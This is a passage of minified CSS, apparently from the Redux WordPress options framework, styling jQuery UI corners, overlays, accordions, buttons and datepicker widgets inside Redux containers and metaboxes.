.ui-icon-grip-diagonal-se,.redux-metabox .ui-icon-grip-diagonal-se{background-position:-80px -224px}.redux-container .ui-corner-all,.redux-container .ui-corner-top,.redux-container .ui-corner-left,.redux-container .ui-corner-tl,.control-section-redux .ui-corner-all,.control-section-redux .ui-corner-top,.control-section-redux .ui-corner-left,.control-section-redux .ui-corner-tl,.control-panel-redux .ui-corner-all,.control-panel-redux .ui-corner-top,.control-panel-redux .ui-corner-left,.control-panel-redux .ui-corner-tl,.redux-metabox .ui-corner-all,.redux-metabox .ui-corner-top,.redux-metabox .ui-corner-left,.redux-metabox .ui-corner-tl{-moz-border-radius-topleft:4px;-webkit-border-top-left-radius:4px;-khtml-border-top-left-radius:4px;border-top-left-radius:4px}.redux-container .ui-corner-all,.redux-container .ui-corner-top,.redux-container .ui-corner-right,.redux-container .ui-corner-tr,.control-section-redux .ui-corner-all,.control-section-redux .ui-corner-top,.control-section-redux .ui-corner-right,.control-section-redux .ui-corner-tr,.control-panel-redux .ui-corner-all,.control-panel-redux .ui-corner-top,.control-panel-redux .ui-corner-right,.control-panel-redux .ui-corner-tr,.redux-metabox .ui-corner-all,.redux-metabox .ui-corner-top,.redux-metabox .ui-corner-right,.redux-metabox .ui-corner-tr{-moz-border-radius-topright:4px;-webkit-border-top-right-radius:4px;-khtml-border-top-right-radius:4px;border-top-right-radius:4px}.redux-container .ui-corner-all,.redux-container .ui-corner-bottom,.redux-container .ui-corner-left,.redux-container .ui-corner-bl,.control-section-redux .ui-corner-all,.control-section-redux .ui-corner-bottom,.control-section-redux .ui-corner-left,.control-section-redux .ui-corner-bl,.control-panel-redux .ui-corner-all,.control-panel-redux .ui-corner-bottom,.control-panel-redux .ui-corner-left,.control-panel-redux .ui-corner-bl,.redux-metabox .ui-corner-all,.redux-metabox .ui-corner-bottom,.redux-metabox .ui-corner-left,.redux-metabox .ui-corner-bl{-moz-border-radius-bottomleft:4px;-webkit-border-bottom-left-radius:4px;-khtml-border-bottom-left-radius:4px;border-bottom-left-radius:4px}.redux-container .ui-corner-all,.redux-container .ui-corner-bottom,.redux-container .ui-corner-right,.redux-container .ui-corner-br,.control-section-redux .ui-corner-all,.control-section-redux .ui-corner-bottom,.control-section-redux .ui-corner-right,.control-section-redux .ui-corner-br,.control-panel-redux .ui-corner-all,.control-panel-redux .ui-corner-bottom,.control-panel-redux .ui-corner-right,.control-panel-redux .ui-corner-br,.redux-metabox .ui-corner-all,.redux-metabox .ui-corner-bottom,.redux-metabox .ui-corner-right,.redux-metabox .ui-corner-br{-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px;-khtml-border-bottom-right-radius:4px;border-bottom-right-radius:4px}.redux-container .ui-widget-overlay,.control-section-redux .ui-widget-overlay,.control-panel-redux .ui-widget-overlay,.redux-metabox .ui-widget-overlay{background:#aaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x;opacity:.30;filter:Alpha(Opacity=30)}.redux-container .ui-widget-shadow,.control-section-redux .ui-widget-shadow,.control-panel-redux .ui-widget-shadow,.redux-metabox .ui-widget-shadow{margin:-8px 0 0 -8px;padding:8px;background:#aaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x;opacity:.30;filter:Alpha(Opacity=30);-moz-border-radius:8px;-khtml-border-radius:8px;-webkit-border-radius:8px;border-radius:8px}.redux-container .ui-accordion,.control-section-redux .ui-accordion,.control-panel-redux .ui-accordion,.redux-metabox .ui-accordion{width:100%}.redux-container .ui-accordion .ui-accordion-header,.control-section-redux .ui-accordion .ui-accordion-header,.control-panel-redux .ui-accordion .ui-accordion-header,.redux-metabox .ui-accordion .ui-accordion-header{cursor:pointer;position:relative;margin-top:1px;zoom:1;font-weight:bold}.redux-container .ui-accordion .ui-accordion-li-fix,.control-section-redux .ui-accordion .ui-accordion-li-fix,.control-panel-redux .ui-accordion .ui-accordion-li-fix,.redux-metabox .ui-accordion .ui-accordion-li-fix{display:inline}.redux-container .ui-accordion .ui-accordion-header-active,.control-section-redux .ui-accordion .ui-accordion-header-active,.control-panel-redux .ui-accordion .ui-accordion-header-active,.redux-metabox .ui-accordion .ui-accordion-header-active{border-bottom:0 !important}.redux-container .ui-accordion .ui-accordion-header a,.control-section-redux .ui-accordion .ui-accordion-header a,.control-panel-redux .ui-accordion .ui-accordion-header a,.redux-metabox .ui-accordion .ui-accordion-header a{display:block;font-size:1em;padding:.5em .5em .5em 1.7em}.redux-container .ui-accordion-icons .ui-accordion-header a,.control-section-redux .ui-accordion-icons .ui-accordion-header a,.control-panel-redux .ui-accordion-icons .ui-accordion-header a,.redux-metabox .ui-accordion-icons .ui-accordion-header a{padding-left:2.2em}.redux-container .ui-accordion .ui-accordion-header .ui-icon,.control-section-redux .ui-accordion .ui-accordion-header .ui-icon,.control-panel-redux .ui-accordion .ui-accordion-header .ui-icon,.redux-metabox .ui-accordion .ui-accordion-header .ui-icon{position:absolute;left:.5em;top:50%;margin-top:-8px}.redux-container .ui-accordion .ui-accordion-content,.control-section-redux .ui-accordion .ui-accordion-content,.control-panel-redux .ui-accordion .ui-accordion-content,.redux-metabox .ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;margin-top:-2px;position:relative;top:1px;margin-bottom:2px;overflow:auto;display:none;zoom:1}.redux-container .ui-accordion .ui-accordion-content-active,.control-section-redux .ui-accordion .ui-accordion-content-active,.control-panel-redux .ui-accordion .ui-accordion-content-active,.redux-metabox .ui-accordion .ui-accordion-content-active{display:block}.redux-container .ui-button,.control-section-redux .ui-button,.control-panel-redux .ui-button,.redux-metabox .ui-button{cursor:pointer;display:inline-block;background-color:#e6e6e6;background-repeat:no-repeat;background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fff), color-stop(25%, #fff), to(#e6e6e6));background-image:-webkit-linear-gradient(#fff, #fff 25%, #e6e6e6);background-image:-moz-linear-gradient(top, #fff, #fff 25%, #e6e6e6);background-image:-ms-linear-gradient(#fff, #fff 25%, #e6e6e6);background-image:-o-linear-gradient(#fff, #fff 25%, #e6e6e6);background-image:linear-gradient(#fff, #fff 25%, #e6e6e6);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);padding:5px 14px 6px;margin:0;text-shadow:0 1px 1px rgba(255,255,255,0.75);color:#333;font-size:13px;line-height:normal;border:1px solid #ccc;border-bottom-color:#bbb;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-webkit-transition:0.1s linear background-image;-moz-transition:0.1s linear background-image;-ms-transition:0.1s linear background-image;-o-transition:0.1s linear background-image;transition:0.1s linear background-image;overflow:visible}.redux-container .ui-button-primary,.control-section-redux .ui-button-primary,.control-panel-redux .ui-button-primary,.redux-metabox .ui-button-primary{color:#ffffff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25)}.redux-container .ui-button-success,.control-section-redux .ui-button-success,.control-panel-redux .ui-button-success,.redux-metabox .ui-button-success{color:#ffffff;background-color:#57a957;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957));background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-ms-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(top, #62c462, #57a957);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#57a957 #57a957 #3d773d;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25)}.redux-container .ui-button-error,.control-section-redux .ui-button-error,.control-panel-redux .ui-button-error,.redux-metabox .ui-button-error{color:#ffffff;background-color:#c43c35;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35));background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-ms-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(top, #ee5f5b, #c43c35);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#c43c35 #c43c35 #882a25;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25)}.redux-container .ui-button-icon-only,.control-section-redux .ui-button-icon-only,.control-panel-redux .ui-button-icon-only,.redux-metabox .ui-button-icon-only{width:2.2em}.redux-container .ui-button-icons-only,.control-section-redux .ui-button-icons-only,.control-panel-redux .ui-button-icons-only,.redux-metabox .ui-button-icons-only{width:3.4em}.redux-container button.ui-button-icons-only,.control-section-redux button.ui-button-icons-only,.control-panel-redux button.ui-button-icons-only,.redux-metabox button.ui-button-icons-only{width:3.7em}.redux-container .ui-button .ui-button-text,.control-section-redux .ui-button .ui-button-text,.control-panel-redux .ui-button .ui-button-text,.redux-metabox .ui-button .ui-button-text{display:block}.redux-container .ui-button-icon-only .ui-button-text,.redux-container .ui-button-icons-only .ui-button-text,.control-section-redux .ui-button-icon-only .ui-button-text,.control-section-redux .ui-button-icons-only .ui-button-text,.control-panel-redux .ui-button-icon-only .ui-button-text,.control-panel-redux .ui-button-icons-only .ui-button-text,.redux-metabox .ui-button-icon-only .ui-button-text,.redux-metabox .ui-button-icons-only .ui-button-text{padding:.4em;text-indent:-9999999px;display:none}.redux-container .ui-button-text-icon-primary .ui-button-text,.redux-container .ui-button-text-icons .ui-button-text,.control-section-redux .ui-button-text-icon-primary .ui-button-text,.control-section-redux .ui-button-text-icons .ui-button-text,.control-panel-redux .ui-button-text-icon-primary .ui-button-text,.control-panel-redux .ui-button-text-icons .ui-button-text,.redux-metabox .ui-button-text-icon-primary .ui-button-text,.redux-metabox .ui-button-text-icons .ui-button-text{padding:.4em 1em .4em 2.1em}.redux-container .ui-button-text-icon-secondary .ui-button-text,.redux-container .ui-button-text-icons .ui-button-text,.control-section-redux .ui-button-text-icon-secondary .ui-button-text,.control-section-redux .ui-button-text-icons .ui-button-text,.control-panel-redux .ui-button-text-icon-secondary .ui-button-text,.control-panel-redux .ui-button-text-icons .ui-button-text,.redux-metabox .ui-button-text-icon-secondary .ui-button-text,.redux-metabox .ui-button-text-icons .ui-button-text{padding:.4em 2.1em .4em 1em}.redux-container .ui-button-text-icons .ui-button-text,.control-section-redux .ui-button-text-icons .ui-button-text,.control-panel-redux .ui-button-text-icons .ui-button-text,.redux-metabox .ui-button-text-icons .ui-button-text{padding-left:2.1em;padding-right:2.1em}.redux-container .ui-button-icon-only .ui-icon,.redux-container .ui-button-text-icon-primary .ui-icon,.redux-container .ui-button-text-icon-secondary .ui-icon,.redux-container .ui-button-text-icons .ui-icon,.redux-container .ui-button-icons-only .ui-icon,.control-section-redux .ui-button-icon-only .ui-icon,.control-section-redux .ui-button-text-icon-primary .ui-icon,.control-section-redux .ui-button-text-icon-secondary .ui-icon,.control-section-redux .ui-button-text-icons .ui-icon,.control-section-redux .ui-button-icons-only .ui-icon,.control-panel-redux .ui-button-icon-only .ui-icon,.control-panel-redux .ui-button-text-icon-primary .ui-icon,.control-panel-redux .ui-button-text-icon-secondary .ui-icon,.control-panel-redux .ui-button-text-icons .ui-icon,.control-panel-redux .ui-button-icons-only .ui-icon,.redux-metabox .ui-button-icon-only .ui-icon,.redux-metabox .ui-button-text-icon-primary .ui-icon,.redux-metabox .ui-button-text-icon-secondary .ui-icon,.redux-metabox .ui-button-text-icons .ui-icon,.redux-metabox .ui-button-icons-only .ui-icon{top:50%;margin-top:-3px;margin-bottom:3px}.redux-container .ui-button-icon-only .ui-icon,.control-section-redux .ui-button-icon-only .ui-icon,.control-panel-redux .ui-button-icon-only .ui-icon,.redux-metabox .ui-button-icon-only .ui-icon{left:50%;margin-left:-8px}.redux-container .ui-button-text-icon-primary .ui-button-icon-primary,.redux-container .ui-button-text-icons .ui-button-icon-primary,.redux-container .ui-button-icons-only .ui-button-icon-primary,.control-section-redux .ui-button-text-icon-primary .ui-button-icon-primary,.control-section-redux .ui-button-text-icons .ui-button-icon-primary,.control-section-redux .ui-button-icons-only .ui-button-icon-primary,.control-panel-redux .ui-button-text-icon-primary .ui-button-icon-primary,.control-panel-redux .ui-button-text-icons .ui-button-icon-primary,.control-panel-redux .ui-button-icons-only .ui-button-icon-primary,.redux-metabox .ui-button-text-icon-primary .ui-button-icon-primary,.redux-metabox .ui-button-text-icons .ui-button-icon-primary,.redux-metabox .ui-button-icons-only .ui-button-icon-primary{left:.5em}.redux-container .ui-button-text-icon-secondary .ui-button-icon-secondary,.redux-container .ui-button-text-icons .ui-button-icon-secondary,.redux-container .ui-button-icons-only .ui-button-icon-secondary,.control-section-redux .ui-button-text-icon-secondary .ui-button-icon-secondary,.control-section-redux .ui-button-text-icons .ui-button-icon-secondary,.control-section-redux .ui-button-icons-only .ui-button-icon-secondary,.control-panel-redux .ui-button-text-icon-secondary .ui-button-icon-secondary,.control-panel-redux .ui-button-text-icons .ui-button-icon-secondary,.control-panel-redux .ui-button-icons-only .ui-button-icon-secondary,.redux-metabox .ui-button-text-icon-secondary .ui-button-icon-secondary,.redux-metabox .ui-button-text-icons .ui-button-icon-secondary,.redux-metabox .ui-button-icons-only .ui-button-icon-secondary{right:.5em}.redux-container .ui-button-text-icons .ui-button-icon-secondary,.redux-container .ui-button-icons-only .ui-button-icon-secondary,.control-section-redux .ui-button-text-icons .ui-button-icon-secondary,.control-section-redux .ui-button-icons-only .ui-button-icon-secondary,.control-panel-redux .ui-button-text-icons .ui-button-icon-secondary,.control-panel-redux .ui-button-icons-only .ui-button-icon-secondary,.redux-metabox .ui-button-text-icons .ui-button-icon-secondary,.redux-metabox .ui-button-icons-only .ui-button-icon-secondary{right:.5em}.redux-container .ui-buttonset,.control-section-redux .ui-buttonset,.control-panel-redux .ui-buttonset,.redux-metabox .ui-buttonset{margin-right:7px}.redux-container .ui-buttonset .ui-state-active,.control-section-redux .ui-buttonset .ui-state-active,.control-panel-redux .ui-buttonset .ui-state-active,.redux-metabox .ui-buttonset .ui-state-active{color:#ffffff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25)}.redux-container .ui-buttonset .ui-button,.control-section-redux .ui-buttonset .ui-button,.control-panel-redux .ui-buttonset .ui-button,.redux-metabox .ui-buttonset .ui-button{margin-left:0;margin-right:0}.redux-container button.ui-button::-moz-focus-inner,.control-section-redux button.ui-button::-moz-focus-inner,.control-panel-redux button.ui-button::-moz-focus-inner,.redux-metabox button.ui-button::-moz-focus-inner{border:0;padding:0}.redux-container .ui-datepicker,.control-section-redux .ui-datepicker,.control-panel-redux .ui-datepicker,.redux-metabox .ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.redux-container .ui-datepicker .ui-datepicker-header,.control-section-redux .ui-datepicker .ui-datepicker-header,.control-panel-redux .ui-datepicker .ui-datepicker-header,.redux-metabox .ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0;border:0px;font-weight:bold;width:100%;padding:4px 0;background-color:#f5f5f5;color:#808080}.redux-container .ui-datepicker .ui-datepicker-prev,.redux-container .ui-datepicker .ui-datepicker-next,.control-section-redux .ui-datepicker .ui-datepicker-prev,.control-section-redux .ui-datepicker .ui-datepicker-next,.control-panel-redux .ui-datepicker .ui-datepicker-prev,.control-panel-redux .ui-datepicker .ui-datepicker-next,.redux-metabox .ui-datepicker .ui-datepicker-prev,.redux-metabox .ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.redux-container .ui-datepicker .ui-datepicker-prev,.control-section-redux .ui-datepicker .ui-datepicker-prev,.control-panel-redux .ui-datepicker .ui-datepicker-prev,.redux-metabox .ui-datepicker .ui-datepicker-prev{left:2px}.redux-container .ui-datepicker .ui-datepicker-next,.control-section-redux .ui-datepicker .ui-datepicker-next,.control-panel-redux .ui-datepicker .ui-datepicker-next,.redux-metabox .ui-datepicker .ui-datepicker-next{right:2px}.redux-container .ui-datepicker .ui-datepicker-prev span,.redux-container .ui-datepicker .ui-datepicker-next span,.control-section-redux .ui-datepicker .ui-datepicker-prev span,.control-section-redux .ui-datepicker .ui-datepicker-next span,.control-panel-redux .ui-datepicker .ui-datepicker-prev span,.control-panel-redux .ui-datepicker .ui-datepicker-next span,.redux-metabox .ui-datepicker .ui-datepicker-prev span,.redux-metabox .ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.redux-container .ui-datepicker .ui-datepicker-title,.control-section-redux .ui-datepicker .ui-datepicker-title,.control-panel-redux .ui-datepicker .ui-datepicker-title,.redux-metabox .ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.redux-container .ui-datepicker .ui-datepicker-title select,.control-section-redux .ui-datepicker .ui-datepicker-title select,.control-panel-redux .ui-datepicker .ui-datepicker-title select,.redux-metabox .ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.redux-container .ui-datepicker select.ui-datepicker-month-year,.control-section-redux .ui-datepicker select.ui-datepicker-month-year,.control-panel-redux .ui-datepicker select.ui-datepicker-month-year,.redux-metabox .ui-datepicker select.ui-datepicker-month-year{width:100%}.redux-container .ui-datepicker select.ui-datepicker-month,.redux-container .ui-datepicker select.ui-datepicker-year,.control-section-redux .ui-datepicker select.ui-datepicker-month,.control-section-redux .ui-datepicker select.ui-datepicker-year,.control-panel-redux .ui-datepicker select.ui-datepicker-month,.control-panel-redux .ui-datepicker select.ui-datepicker-year,.redux-metabox .ui-datepicker select.ui-datepicker-month,.redux-metabox .ui-datepicker select.ui-datepicker-year{width:49%}.redux-container .ui-datepicker table,.control-section-redux .ui-datepicker table,.control-panel-redux .ui-datepicker table,.redux-metabox .ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.redux-container .ui-datepicker th,.control-section-redux .ui-datepicker th,.control-panel-redux .ui-datepicker th,.redux-metabox .ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.redux-container .ui-datepicker td,.control-section-redux .ui-datepicker td,.control-panel-redux .ui-datepicker td,.redux-metabox .ui-datepicker td{border:0;padding:1px}.redux-container .ui-datepicker td span,.redux-container .ui-datepicker td a,.control-section-redux .ui-datepicker td span,.control-section-redux .ui-datepicker td a,.control-panel-redux .ui-datepicker td span,.control-panel-redux .ui-datepicker td a,.redux-metabox .ui-datepicker td span,.redux-metabox .ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.redux-container .ui-datepicker .ui-datepicker-buttonpane,.control-section-redux .ui-datepicker .ui-datepicker-buttonpane,.control-panel-redux .ui-datepicker .ui-datepicker-buttonpane,.redux-metabox .ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.redux-container .ui-datepicker .ui-datepicker-buttonpane button,.control-section-redux .ui-datepicker .ui-datepicker-buttonpane button,.control-panel-redux .ui-datepicker .ui-datepicker-buttonpane button,.redux-metabox .ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.redux-container .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current,.control-section-redux .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current,.control-panel-redux .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current,.redux-metabox .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.redux-container .ui-datepicker.ui-datepicker-multi,.control-section-redux .ui-datepicker.ui-datepicker-multi,.control-panel-redux .ui-datepicker.ui-datepicker-multi,.redux-metabox .ui-datepicker.ui-datepicker-multi{width:auto}.redux-container .ui-datepicker-multi .ui-datepicker-group,.control-section-redux .ui-datepicker-multi .ui-datepicker-group,.control-panel-redux .ui-datepicker-multi .ui-datepicker-group,.redux-metabox .ui-datepicker-multi .ui-datepicker-group{float:left}.redux-container .ui-datepicker-multi .ui-datepicker-group table,.control-section-redux .ui-datepicker-multi .ui-datepicker-group table,.control-panel-redux .ui-datepicker-multi .ui-datepicker-group table,.redux-metabox .ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.redux-container .ui-datepicker-multi-2 .ui-datepicker-group,.control-section-redux .ui-datepicker-multi-2 .ui-datepicker-group,.control-panel-redux .ui-datepicker-multi-2 .ui-datepicker-group,.redux-metabox .ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.redux-container .ui-datepicker-multi-3 .ui-datepicker-group,.control-section-redux .ui-datepicker-multi-3 .ui-datepicker-group,.control-panel-redux .ui-datepicker-multi-3 .ui-datepicker-group,.redux-metabox .ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.redux-container .ui-datepicker-multi-4 .ui-datepicker-group,.control-section-redux .ui-datepicker-multi-4 .ui-datepicker-group,.control-panel-redux .ui-datepicker-multi-4 .ui-datepicker-group,.redux-metabox .ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.redux-container .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.control-section-redux .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.control-panel-redux .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.redux-metabox .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header{border-left-width:0}.redux-container .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header,.control-section-redux .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header,.control-panel-redux .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header,.redux-metabox .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.redux-container .ui-datepicker-multi .ui-datepicker-buttonpane,.control-section-redux .ui-datepicker-multi .ui-datepicker-buttonpane,.control-panel-redux .ui-datepicker-multi .ui-datepicker-buttonpane,.redux-metabox .ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.redux-container .ui-datepicker-row-break,.control-section-redux .ui-datepicker-row-break,.control-panel-redux .ui-datepicker-row-break,.redux-metabox .ui-datepicker-row-break{clear:both;width:100%;font-size:0em}.redux-container .ui-datepicker-rtl,.control-section-redux .ui-datepicker-rtl,.control-panel-redux .ui-datepicker-rtl,.redux-metabox .ui-datepicker-rtl{direction:rtl}.redux-container .ui-datepicker-rtl .ui-datepicker-prev,.control-section-redux .ui-datepicker-rtl .ui-datepicker-prev,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-prev,.redux-metabox .ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.redux-container .ui-datepicker-rtl .ui-datepicker-next,.control-section-redux .ui-datepicker-rtl .ui-datepicker-next,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-next,.redux-metabox .ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.redux-container .ui-datepicker-rtl .ui-datepicker-prev:hover,.control-section-redux .ui-datepicker-rtl .ui-datepicker-prev:hover,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-prev:hover,.redux-metabox .ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.redux-container .ui-datepicker-rtl .ui-datepicker-next:hover,.control-section-redux .ui-datepicker-rtl .ui-datepicker-next:hover,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-next:hover,.redux-metabox .ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.redux-container .ui-datepicker-rtl .ui-datepicker-buttonpane,.control-section-redux .ui-datepicker-rtl .ui-datepicker-buttonpane,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-buttonpane,.redux-metabox .ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.redux-container .ui-datepicker-rtl .ui-datepicker-buttonpane button,.control-section-redux .ui-datepicker-rtl .ui-datepicker-buttonpane button,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-buttonpane button,.redux-metabox .ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.redux-container .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.control-section-redux .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.redux-metabox .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current{float:right}.redux-container .ui-datepicker-rtl .ui-datepicker-group,.control-section-redux .ui-datepicker-rtl .ui-datepicker-group,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-group,.redux-metabox .ui-datepicker-rtl .ui-datepicker-group{float:right}.redux-container .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.control-section-redux .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.redux-metabox .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header{border-right-width:0;border-left-width:1px}.redux-container .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header,.control-section-redux .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header,.redux-metabox .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.redux-container .ui-datepicker-cover,.control-section-redux .ui-datepicker-cover,.control-panel-redux .ui-datepicker-cover,.redux-metabox .ui-datepicker-cover{display:none;display:block;position:absolute;z-index:-1;filter:mask();top:-4px;left:-4px;width:200px;height:200px}.redux-container .ui-datepicker th,.control-section-redux .ui-datepicker th,.control-panel-redux .ui-datepicker th,.redux-metabox .ui-datepicker th{font-weight:bold;color:gray}.redux-container .ui-datepicker-today a:hover,.control-section-redux .ui-datepicker-today a:hover,.control-panel-redux .ui-datepicker-today a:hover,.redux-metabox .ui-datepicker-today a:hover{background-color:#808080;color:#ffffff}.redux-container .ui-datepicker-today a,.control-section-redux .ui-datepicker-today a,.control-panel-redux .ui-datepicker-today a,.redux-metabox .ui-datepicker-today a{background-color:#BFBFBF;cursor:pointer;padding:0 4px;margin-bottom:0px}.redux-container .ui-datepicker td a,.control-section-redux .ui-datepicker td a,.control-panel-redux .ui-datepicker td a,.redux-metabox .ui-datepicker td a{margin-bottom:0px;border:0px}.redux-container .ui-datepicker td:hover,.control-section-redux .ui-datepicker td:hover,.control-panel-redux .ui-datepicker td:hover,.redux-metabox .ui-datepicker td:hover{color:#ffffff}.redux-container .ui-datepicker td .ui-state-default,.control-section-redux .ui-datepicker td .ui-state-default,.control-panel-redux .ui-datepicker td .ui-state-default,.redux-metabox .ui-datepicker td .ui-state-default{border:0px;background:none;margin-bottom:0px;padding:5px;color:gray;text-align:center;filter:none}.redux-container .ui-datepicker td .ui-state-active,.control-section-redux .ui-datepicker td .ui-state-active,.control-panel-redux .ui-datepicker td .ui-state-active,.redux-metabox .ui-datepicker td .ui-state-active{background:#BFBFBF;margin-bottom:0px;font-size:normal;text-shadow:0px;color:#ffffff;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-container .ui-datepicker td .ui-state-hover,.control-section-redux .ui-datepicker td .ui-state-hover,.control-panel-redux .ui-datepicker td .ui-state-hover,.redux-metabox .ui-datepicker td .ui-state-hover{color:#ffffff;background:#0064cd;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, 